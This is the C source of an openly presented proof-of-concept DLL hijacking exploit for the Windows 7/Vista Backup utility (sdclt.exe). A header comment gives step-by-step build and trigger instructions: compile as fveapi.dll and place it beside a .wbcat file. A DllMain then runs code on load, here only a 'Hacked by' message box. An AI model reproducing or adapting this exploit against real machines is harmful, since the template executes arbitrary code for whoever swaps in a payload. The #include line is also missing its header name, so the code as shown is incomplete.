/* Windows 7 and Vista Backup Utility sdclt.exe fveapi.dll DLL Hijacking Exploit Found by: Christian Heinrich (cmlh) Exploit by: Christian Heinrich (cmlh) Email: christianheinrich@live.com Web: http://www.twitter.com/cmlh Summary: Microsoft Windows Backup application (sdclt.exe) for Windows Vista/7 exploit Description: Microsoft Windows Backup application (sdclt.exe) suffers from a dll hijacking vulnerability that enables the attacker to execute arbitrary code on a local level through the .wbcat extension. ---- Howto: gcc -shared -o fveapi.dll windowsbackupexploit.c Compile this file and rename to fveapi.dll Then create an empty file named anything.wbcat Double clicking the anything.wbcat file with the fveapi.dll file in the same folder will execute our code. ---- Tested on Microsoft Windows 7 32-bit Vulnerability discovered by Christian Heinrich (cmlh) christianheinrich@live.com 27.08.2010 */ #include BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { switch (fdwReason) { case DLL_PROCESS_ATTACH: dll_mll(); case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } int dll_mll() { MessageBox(0, "Hacked by Christian Heinrich !", "DLL Message", MB_OK); }